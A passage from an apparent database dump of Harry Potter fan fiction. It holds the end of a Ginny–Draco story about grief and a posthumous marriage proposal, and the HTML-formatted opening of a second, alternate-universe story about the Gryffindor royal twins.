of you must be glad - if not glad then relieved. Don\'t cry...God, I\'m not even crying. And I didn\'t despise him like you all did..." \n</p><p>Molly looked at her daughter and walked over to hug her. "Oh Ginny, how can you think that. Of course we\'re not glad or relieved. We love you, and you love him..." \n</p><p>Ginny pulled away from her mother and shook her head vehemently. "No! No, I don\'t love him! I don\'t feel anything for him. Nothing at all." \n</p><p>Molly shook her head as she looked at Ginny. "Don\'t block out your feelings Ginny. You\'re allowed to cry. You\'re allowed to be angry. You\'re allowed to be in pain." \n</p><p>She shook her head as she bit her lip. "I know I am, and you know what? I don\'t want to be in pain. He doesn\'t deserve it! I told him not to go, I told him it was a trap. I told him that if he went and this happened that I wouldn\'t stand here and mourn him and he went anyway! So good riddance to him!" \n</p><p>Molly reached out for her daughter. "His mother was dying - she wanted to see him. How could he know that it was a lie? That she was lying to him? What if it had been true? He would never have forgave himself..." \n</p><p>Ginny looked at her and shook her head. She didn\'t get it. "The woman had never looked out for his best interests in her life! Of course it was a trap! Yet he was too blind to see it, all he saw was her withered old face asking him to be a good son! She should have been a better mother and he wouldn\'t have been in the position he was in in the first place! If I ever, ever see her I swear I will tear her lying, deceitful heart out and leave her alive long enough to see me rip it to shreds so she knows what she did to him!" \n</p><p>Molly reached out for her daughter as Ginny began walking away. "Ginny, you can\'t be angry at him..." \n</p><p>Ginny gave a bitter laugh as she shook her head. "Watch me. If he doesn\'t like it he better tell me. No wait, he can\'t because he was a stupid, trusting, selfish bastard and I hate him!" \n</p><p>Before Molly could get a word in Ginny had already run away leaving her mother standing watching her run. \n</p><p>"Stupid, trusting and selfish. Who would have thought that those would be the words that would sum up Draco Malfoy?" \n</p><p>Molly turned around and looked at her husband as he wrapped her arms around her. "Oh, Arthur...she won\'t let us help. She\'s so angry...and she\'s using that to cover up how hurt she is. She loves him so much..." \n</p><p>Arthur shook his head as he lay his head on top of hers. "She had to choose a Malfoy - typically Lucius would manage to ruin her life again..." \n</p><p>~ ~ ~ ~ ~ \n</p><p>She wasn\'t sure when she had stopped running. She just knew that when she started she had felt a burning sensation in her throat and chest and when she stopped all she had to think about was making her lungs take in enough oxygen for her to stand. She sat down and looked around. She really hadn\'t got that far. Just into the school courtyard. Thank God it was the holidays - the last thing she needed now was a bunch of students. She walked over to a seat and sat down, maybe her mother was right. Maybe it was wrong to be angry at him. If she was angry at him it meant that she felt something for him and she didn\'t. She just wanted to go home - she hated this school now. All it did was bring back memories. \n</p><p>~ ~ ~ ~ ~ \n</p><p><i>"I\'m sorry, but I refuse," she looked at him as he scowled at a pupil who was looking at him with an amused expression. "I suggest you keep walking boy or I will have you skinning newts eyes and extracting snail bile for the rest of your school career."</i>\n</p><p><i>Ginny suppressed the need to laugh as she watched the small boy run off in terror. "I love how you are such a people person, Draco. That\'s why I think it would be a good thing if you put those skills to good use..."</i>\n</p><p><i>He got up and began walking away. "I am not going to see your parents and brothers. I have met your parents and your brothers and their opinion of me is the same as my opinon of them..."</i>\n</p><p><i>She shook her head as she followed him into the castle. "Do not even follow that thought up, Malfoy. I am not in so deep that I won\'t leave you for insulting my family, you know."</i>\n</p><p><i>He turned to her and sighed. "Ginny! Please, it will be a disaster. I mean, I heard the howler your mother sent you when she heard in the first place. Could we not just concede defeat on this and save us both a long and embarrassing night of false pleasantries while your brothers try and curse me at every available opportunity?"</i>\n</p><p><i>Ginny sighed as she looked at him. "It would prove to them that you don\'t think you are better than them..."</i>\n</p><p><i>"What do you mean \'think\'?" he quickly took a step back as he raised his hands in defence mode. "Sorry, joke. I don\'t think your family is inferior to me. I\'ll tell them that. I\'ll write them a letter."</i>\n</p><p><i>Ginny shook her head as she looked at him. "No. They\'re coming here, we\'ll all go for dinner in Hogsmeade and that will be it over with."</i>\n</p><p><i>He looked at her for a second before he noticed another student walking past. He gave a low growl of frustration as he reached out and took her arm and guided her towards the door of an empty classroom. They walked in and he charmed the lock, and walked over to the desk and sat on it before he began talking unenthusiastically. "If I agree to this, and promise to be on my best behaviour, do you promise that you will never make me do it again? Unless it\'s at our wedding, or child\'s christening, or my funeral?"</i>\n</p><p><i>Ginny smiled as she walked over to him and grinned. "You\'re already thinking about children and weddings? I\'m honoured. I didn\'t think Draco Malfoy had it in him to want that sort of thing..."</i>\n</p><p><i>Draco looked at her as he pulled the front of her robes gently until she was standing in front of him. He wrapped his fingers around hers and sighed. "I guess you just bring out my romantic nature..."</i>\n</p><p><i>She slid her hand up his chest and rested it on his heart as she looked up at him and smiled softly. "I like it."</i>\n</p><p><i>He tilted his head backwards as he gave a low groan. "Don\'t get used to it, I\'m just trying to extract a verbal guarantee that I don\'t have to endure your family all the time."</i>\n</p><p><i>Ginny rolled her eyes as she tilted his head down to look at her. "I can\'t guarantee that, but I\'ll try..."</i>\n</p><p><i>He leant his head forward so their foreheads touched. "That\'s all I ask," he slid his hand inside her robes towards the small of her back and pulled her close to him. </i>\n</p><p><i>She bent her head down and kissed him tenderly. "You know it\'s times like this that I realise why I\'m in love with you, Draco Malfoy."</i>\n</p><p><i>He pulled away from her and fought to keep the smile of his face as he looked at her with a mixture of supreme happiness and pride. He smiled and took a deep breath as he spoke quietly. "Well, I suppose times like this wouldn\'t happen if I didn\'t love you. So, on that note I assume we\'re even..."</i>\n</p><p><i>She bit her lip as she tried to curb her natural instinct to show the joy she was feeling inside. They had said it, not that they didn\'t know it already, they had been dating for a year. But they finally said the words. She reached in and kissed him again as she took his hands and guided them to her waist as she took her own hands and wrapped them around his neck.</i>\n</p><p>~ ~ ~ ~ ~ \n</p><p>She took a deep breath as she shook her head. Why did they feel as real? Like she was back at the point when everything made sense. Was it a last minute joke to torture her with? Make her realise how things were? The potential that was there? \n</p><p>"Ginny?" She closed her eyes at the sound of the voice behind her. Why did everyone want to help her? Couldn\'t they see that she was fine? That she didn\'t need anything from them? \n</p><p>"Professor Dumbledore. How can I help you?" she didn\'t turn around as she spoke, hoping he would take the hint and leave her alone. \n</p><p>Dumbledore sat down beside her. "I\'m not going to insult you by asking how you are feeling, because it is obvious..." \n</p><p>She turned around and looked at him. "Sir, I don\'t mean to be rude but my Mum and Dad are worrying about nothing. I\'m fine, I know they sent you to check on me. But I\'m good. I\'m just trying to clear out some ghosts..." \n</p><p>Dumbledore looked at her with a sad smile. "I\'m afraid I\'m not here because your parents asked me to. I\'m here because someone else asked me to." \n</p><p>She looked at him quizzically. "Who?" \n</p><p>Dumbledore reached into his robes and pulled out a small envelope and slid it along the table to her. "He wasn\'t as ignorant as you may choose to believe, he was well aware of what would probably happen...so he wanted to..." \n</p><p>Ginny stood up and shook her head. That was his last words? "No No, I don\'t want it! If he had something that important to say then he should have said it before - I don\'t want his letter!" \n</p><p>"Virginia," Dumbledore stood up and shook his head. "It was impossible for him to talk to you before he left..." \n</p><p>Ginny turned around and felt as though she had been punched in the stomach as she forced herself to speak. "That\'s not true! He could have spoke to me..." That was true. He could have went to the Burrow - that was where she had went after the fight. He should have physically went to the Burrow and spoke to her face to face, he could have spoke to her if he had really wanted to... \n</p><p>Dumbledore\'s expression softened as he walked over to her and put a hand on her shoulder. "I know he could have. But, he wanted to save his pride as much as you wanted to save yours. Why else would you take the Burrow off the floo network? Why else did you request the teachers not to assist him in projecting after the first time he tried to contact you?" \n</p><p>She shook her head. She refused to be blamed for that. "I wanted to be alone! This has nothing to do with any of you! I\'m sorry, but it hasn\'t - you all got your memorial service. You all can move on now." \n</p><p>Dumbledore sighed as he looked at her. "You\'re right of course, but it will make you feel better to know what his last thoughts of you were. But it\'s up to you," she turned around to see Dumbledore lift the letter up as he looked at her. "It will be here when you feel you are ready to read it, Ginny. So will we all." \n</p><p>Ginny closed her eyes as Dumbledore began walking away, the ivory envelope in his hand. She didn\'t need to know what he said...it didn\'t matter. They had split up. They were over with now, then, whenever. "Pr...professor? Could you...leave me the letter?" \n</p><p>Her voice was so small that she wasn\'t even sure it had come from her, but Dumbledore turned towards her anyway and handed her the letter without saying a word. As he walked away she sat back down and looked at the neat writing on the front. She couldn\'t help but let out a small laugh. Formal to the last: Ms Virginia Weasley. He had only ever called her Virginia when he mocked her in play, or when he was attempting to demonstrate his romantic side. Never in conversation... \n</p><p>She thought about ripping the letter up. She didn\'t need to read it after all. She knew what it said - maybe because there was an identical one on her desk at home addressed to him that she had wrote after she had returned home after she had left him standing alone in the courtyard she was now sitting in. \n</p><p><i>~ ~ ~ ~ ~</i>\n</p><p><i>"You are being unreasonable! She is my mother! I wouldn\'t deny you the right to visit your mother!" his voice echoed around the empty courtyard as the moonlight reflected the passion in his eyes towards her. </i>\n</p><p><i>She shook her head as she looked at him. "Do not dare compare my mother with yours! It\'s a trap! They\'ve been looking for you for three years and now you are going to walk straight into their arms? They will torture you and kill you..." she choked the words out, they were almost too horrible to think about.</i>\n</p><p><i>Draco ran his hand through his hair as he walked to her. "Ginny, my mother wouldn\'t do that to me, she wouldn\'t endanger my life by lying to me. She isn\'t Lucius and she wouldn\'t do it - she\'s my mother..."</i>\n</p><p><i>Ginny shook her head as she looked at him, her eyes filled with tears but her resolve strong. She wouldn\'t let him kill herself in front of her. "Draco, I love you and this is the hardest thing I have ever had to say but if you go to her, that\'s it. We\'re over. I\'m not going to mourn you when they kill you, which they will do, horribly. I\'m not going to miss you, I\'m not going to think about you. If you insist on going don\'t expect me to make it easy on you."</i>\n</p><p><i>Draco looked at her disbelievingly as he shook his head. "You are leaving me unless I choose you over my mother?"</i>\n</p><p><i>"I\'m not making you choose! If your mother is as sick as she says she is then why doesn\'t she come here? We could attach her to the floo network and she would be here as soon as possible..."</i>\n</p><p><i>Draco shook his head as he walked away from her. "She\'s too ill to travel by floo powder. I already asked her that..."</i>\n</p><p><i>Ginny rolled her eyes. Why couldn\'t he see it? "And you, Draco Malfoy don\'t find that suspicious?"</i>\n</p><p><i>Draco shook his head as he looked at her angrily. "I am not arguing with you over this. I\'m leaving in a couple of days, discussion over."</i>\n</p><p><i>"You leave here, I leave you," she looked at him seriously, trying to ignore the pounding of her heart. Why didn\'t he want to be safe? "Your choice. Bring her here but I won\'t stick around just to bury you in a few days - if they leave enough to bury you that is..."</i>\n</p><p><i>She felt like a grown man was standing on her chest as the pain washed over her while she looked at him. If anything happened to him... She shook her head as she forced herself to take a deep breath. If anything happened to him it would be down to him. She would live without him - she didn\'t need him.</i>\n</p><p><i>"I\'m going," he looked at her determinedly, with a mixture of sadness and irritation. "Nothing will happen to me but if it does, I don\'t expect anything from you if that makes you feel any better."</i>\n</p><p><i>She clenched her fist and stuffed it into her robe pockets as she dug her finger nails into the palm of her hand to distract her from the sharp pain shooting through her heart. That was it. Over. "Well, I guess we have nothing else left to say," she turned towards the castle and began walking away. The tears she had successfully prevented falling earlier in the evening now streaming down her face.</i>\n</p><p><i>"I have something to say, Ginny," she paused at the sound of his voice but didn\'t dare turn around to look at him. "I love you. And I will be back for you..."</i>\n</p><p><i>She bit her lip as she heard his words but couldn\'t prevent the sob escaping her lips as she began running towards the castle, trying to get away from him, away from the feelings that linked her to him forever and away from the knowledge that he wouldn\'t come back to her no matter how much he wanted to.</i>\n</p><p>~ ~ ~ ~ ~ \n</p><p>She opened the envelope and held it up to her nose. She could still smell his scent - if she closed her eyes she could pretend that he was there with her. She reached in and pulled out the letter only for there to be a sound of something drop to the ground. She reached down and lifted an object up: a small pouch? She opened it up and pulled out the contents. Her breath caught in her throat as she looked at the ring, gold with a diamond. She dropped the ring as though it had burned her fingers. No. No. No. No. No! She didn\'t want to feel anything! She didn\'t want to think about how close they had got to being happy - she didn\'t want his ring. Not when he wasn\'t here to give it to her... \n</p><p>She reached down and pulled the letter up. She unfolded it with trembling hands and took a deep breath as she read it. \n</p><p>\'Dear Ginny, \n</p><p>I know, no doubt that you would rather not receive this. But, unfortunately I haven\'t been able to reach you anywhere. The reason for that, as you no doubt know is the fact that you were showing your annoying family trait of stubbornness and refused to talk to me when I tried to contact you at the Burrow. Anyway, that doesn\'t matter - why am I writing? \n</p><p>I\'m writing because I had to let you know certain things just in case you were right, which I don\'t for a second believe you are. I couldn\'t, in the off chance that I\'m wrong, risk you not knowing certain things. So, as much as I hate having to do that in a letter where whatever I say will no doubt sound nothing like how I would actually say it, needs must. \n</p><p>I wanted to let you know that watching you walk away from me was quite possible the hardest thing I have ever had to do. I have never felt as much pain in my life before and I hope that I will get an opportunity to make it up to you. I also wanted to let you know that at no point in my future do I care to envisage us being apart again so I do not care if it takes us years - we will get through this. We have to get through this. \n</p><p>I love you. No matter what happens after today, if you take only one thought from our relationship I would hope that it would be that. I love you and I would do anything for you, I just hope that one day you will understand why I had to do this. \n</p><p>Yours, \n</p><p>Draco Malfoy \n</p><p>Ps. I hope you like the ring - it\'s the one I wanted to ask you to marry me with. If I get the chance to see you again, Ginny - please, marry me...\' \n</p><p>She had done really well but as soon as she read the last line all her carefully crafted defences fell and she began to weep. It wasn\'t supposed to have happened like this...it was supposed to have been different. They were supposed to get the happy ending! \n</p><p>She crumpled the letter and fumbled around looking for the ring, blinded by tears. She picked it up and slid it onto her finger. So close - she had come so close to having it all and they had taken it away from her again. She vainly wiped her eyes as she looked at the ring and the letter - that was all that was left of them. That was the last thing that she would have of his ever... \n</p><p>"Yes, Draco...I will marry you..." \n</p><p>She looked at the ring and began to sob. Why couldn\'t things go back to how they were? Why couldn\'t they be as easy as they were when she was a child? Why did it have to be him... \n</p><p>~ fini ~  \n\n\n\n'),
	(123, 1, '\n\n\n\nWar against Magiterran\n\nE. C. R. Potter\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoBodyText" style="layout-grid-mode:char">Summary: two years after the defeat of Voldemort and the Death Eaters, a\nnew threat arises from across the ocean to challenge the four-kingdom alliance:\nspecifically, the Gryffindor Royal Family.&nbsp; Their homeland in danger, the Mage Knights once again take\nup arms to fight an all too familiar enemy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n1: The Royal Twins\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">In the days long\nago, there was once the great continent of Magiterran, home of a great\ngathering of people gifted in the arts of war and of magic.&nbsp; This continent was divided into four\nkingdoms, each with their own strengths and weaknesses.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">In the northwest\nwas the Kingdom of Hufflepuff, land of the common worker.&nbsp; Indeed, the Kingdom of Hufflepuff\nprided it self in having the greatest of farmers, artisans, blacksmiths,\nmerchants, craftsmen, anybody who worked with their own hands.&nbsp; For the citizens of Hufflepuff were the\nbackbones of the four kingdoms.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">On the other hand,\nthe Kingdom of Ravenclaw, in the northeast, was the home of the scholars of\nMagiterran.&nbsp; Ravenclaw was the home\nof many a priest or scholar who wished to delve into the art of study.&nbsp; The northwest kingdom boasted the\ngreatest religious activity and think tanks in all the lands.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A completely\ndifferent matter was the Kingdom of Slytherin in the southeast.&nbsp; Run under a highly elitist system, the\nKingdom of Slytherin was the kingdom of nobility.&nbsp; In Slytherin, the nobles had the final word and class\nstructure was very strict.&nbsp; Yet, it\nwas in this kingdom that the class structure constantly changed for those of\nthe lower classes always strived to advance their ranks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Yet, by far the\ngreatest of the four was the southwest Kingdom of Gryffindor.&nbsp; A highly military state, the ideals of\nthe Gryffindor kingdom were chivalry and valiancy.&nbsp; Gryffindor soldiers were admired by citizens of all four\nkingdoms, for their legendary bravery where they would charge into battle to\nsave the lives of others without thought to one&#8217;s own safety.&nbsp; Despite the prominence of the military,\nthe common muggle was always treated most fairly in Gryffindor.&nbsp; This was the kingdom of equality and\nperhaps that was what made the Gryffindors so great.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The four kingdoms\nwere gathered together in an alliance of commerce, religion, politics, and\nmilitary.&nbsp; The symbol of the\nfour-kingdom alliance was Hogwarts castle, located in the center of Magiterran\nwhere the borders of the four kingdoms met.&nbsp; Hogwarts was the home of the Mage Knights, the guardians of\npeace and justice in Magiterran.&nbsp;\nThe Mage Knights wandered around the kingdoms freely without political\nproblems.&nbsp; They flew to anywhere\nwhere there was trouble to help those in need.&nbsp; They were undeniably the greatest warriors in all of\nMagiterran.&nbsp; Yet, even with the\nMage Knights, not all times were happy and peaceful in the great continent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">There was once a\ntime of darkness when the dark lord Voldemort raised a following of fanatical\nextremists, called Death Eaters, for the sole purpose of ruling\nMagiterran.&nbsp; For twenty years of\nconstant warfare, Voldemort waged war against the Alliance.&nbsp; So great was the terror that he brought\nupon the lands that people were afraid to even speak his name, preferring to\ncall him You-know-who.&nbsp; Yet, in the\nend, the Death Eaters were crushed by the Alliance, and Voldemort was defeated\nby the Mage Knights.&nbsp; Peace returned\nto Magiterran.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">This story starts\ntwo years after the fall of Voldemort.&nbsp;\nIt was a day of celebration as the citizens of Godric&#8217;s Hollow, the\ncapitol city of the Kingdom of Gryffindor, crowded in front of the gates to the\nroyal palace.&nbsp; There was much\nrumoring and gossiping amongst the folks as Prime Minister Seamus Finnigan\nstood in the balcony over looking the front gates where the crowd could see\nhim.&nbsp; Behind him were other members\nof the royal court: Dean Thomas the valet, Lavender Brown and Parvati Patil the\nladies in waiting, and a few others.&nbsp;\nDean nudged Seamus as Lavender and Pavati started giggling.&nbsp; Seamus took a deep breath and spoke out\nto the crowd:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ladies and\nGentlemen of Gryffindor, I have a very special announcement to make&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well!&nbsp; Is it a boy?&nbsp; A girl?&#8221; yelled someone in the crowd.&nbsp; Other people followed suit and soon the\nentire crowd was shouting the same question at Seamus.&nbsp; Lavender and Parvati exchanged alarmed\nglances as Seamus tried to shout to the masses.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Everybody!&nbsp; Calm down!&nbsp; Please calm down!&#8221;&nbsp;\nUnfortunately, the crowd continued shouting and didn&#8217;t seem to be\ncalming down when suddenly, what sounded like a very loud canon blast sounded\nthrough out the court.&nbsp; The crowd\nimmediately calmed down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The blast had come\nfrom a man standing right behind Seamus: a tall red headed man with rusty armor\nand a scarlet cape and a drawn sword.&nbsp;\nSir Ronald Weasley was a Mage Knight and the high commander of the\nGryffindor military.&nbsp; As soon as\nthe crowd had calmed down, Sir Ronald sheathed his sword and said, &#8220;You may\ncontinue Minister Finnigan.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Seamus gulped and\nhesitated for a moment.&nbsp; He, along\nwith a good many citizens of Magiterran had a small fear of the Mage\nKnights.&nbsp; But he immediately\ncomposed himself and spoke out to the crowd again, &#8220;Ladies and Gentlemen, I am\npleased to announce that on this day of the second year of the reign of King\nHarry the first that just one hour ago our beloved queen has given birth to\ntwins, a boy and a girl.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The cheers that\nwere issued from the crowds that day were louder than any sound that had been\nheard in the Alliance for a long time.&nbsp;\nThe people celebrated for days about the births of the new prince and\nprincess and nobody had ever been happier in the Kingdom of Gryffindor since\nbefore the days of Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">While the citizens\nof Godric&#8217;s Hollow were celebrating with a lot of noise, there was another more\nsilent celebration going on in the west wing of the royal palace.&nbsp; A young man dressed in elegant scarlet\nrobes was looking out of the window at the cheering crowds.&nbsp; He was tall, had messy raven black\nhair, emerald green eyes, and a scar on his forehead that was shaped like a\nlightning bolt.&nbsp; He was Harry\nPotter, the king of the Kingdom of Gryffindor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Can you hear\nthem?&#8221; he asked.&nbsp; He turned towards\nthe king sized four-poster bed behind him, a small smile on his face.&nbsp; &#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lying on the bed\nwas a beautiful young woman with long bushy brown hair, cinnamon brown eyes,\nand a loving smile on her lips.&nbsp;\nLying next to her on the bed were two babies wrapped in swaddling cloth.&nbsp; They both had their mother&#8217;s hair\ncolor.&nbsp; Though pale, weak, and\nexhausted from the laboring process of childbirth, Hermione still managed to\nsit up just a little and take the twins in her arms.&nbsp; It is said that a woman whom has just given birth is the most\nbeautiful thing in existence and as Harry looked at his wife holding their\nchildren he couldn&#8217;t help but agree as he fell in love with her all over again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes I can hear\nthem,&#8221; she said.&nbsp; She looked up at\nher husband and smiled.&nbsp; &#8220;They&#8217;re\ncelebrating our children, Harry.&nbsp;\nOur children.&nbsp; Can you\nbelieve it?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Its still a\nlittle hard to believe,&#8221; said Harry.&nbsp;\nHe sat down next to Hermione and brushed away a strand of hair away from\nher forehead.&nbsp; He kissed her in the\nsame place and looked down at the twins who had just woken up.&nbsp; Two pairs of emerald green eyes looked\nup at Harry and Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Look Harry, they\nhave your eyes,&#8221; said Hermione.&nbsp;\nHarry grinned as he took his daughter in his arms and kissed her on the\nforehead.&nbsp; He then bent over\nHermione and kissed his son on the forehead as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What are we going\nto call them?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled\nand turned toward Harry.&nbsp; &#8220;James\nand Lily.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry was\nabsolutely stunned.&nbsp; &#8220;You mean\nit?&#8221;&nbsp; Hermione wanted to name their\ntwins after the parents Harry had never known.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione leaned\ntoward Harry and whispered, &#8220;Ever since I&#8217;ve been old enough to consider\nbecoming a mother I wanted to name my children after the former king and\nqueen.&nbsp; Of course, at the time I\nnever expected that I&#8217;d end up as their daughter in law.&#8221;&nbsp; She giggled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry looked about\nready to cry.&nbsp; &#8220;Thank you.&nbsp; Thank you so much Hermione.&nbsp; You don&#8217;t know how much that means to\nme.&#8221;&nbsp; He leaned forward and kissed\nher passionately.&nbsp; &#8220;I love you.&#8221;</p>\n\n<p class="MsoNormal" 